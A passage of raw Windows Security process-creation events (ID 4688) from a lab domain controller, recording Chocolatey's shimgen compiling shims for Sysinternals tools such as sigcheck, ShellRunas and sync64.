	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC6A.tmp" "c:\ProgramData\chocolatey\bin\CSC86FF810FB40A484C9969EF7C26B9BA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246877
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb34
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246876
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfbc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sigcheck.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_3956\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246875
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3fc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfbc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246874
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfbc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sigcheck.exe" --output="C:\ProgramData\chocolatey\bin\sigcheck.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sigcheck.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246873
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB8F.tmp" "c:\ProgramData\chocolatey\bin\CSCE89C829BC50B42FBB6DBAE8B90107637.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246872
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246871
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ShellRunas.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123426_1612\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246870
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246869
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ShellRunas.exe" --output="C:\ProgramData\chocolatey\bin\ShellRunas.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ShellRunas.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246868
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe28
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAB4.tmp" "c:\ProgramData\chocolatey\bin\CSC818F02BA52F4FC498434C1CF7D3C731.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246912
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246911
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb1c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sync64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_9112\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246910
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x488
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb1c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246909
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sync64.exe" --output="C:\ProgramData\chocolatey\bin\sync64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sync64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246908
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES118A.tmp" "c:\ProgramData\chocolatey\bin\CSC82F2CD9F8F54A93BE8554283773CF5E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246907
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246906
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcf8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
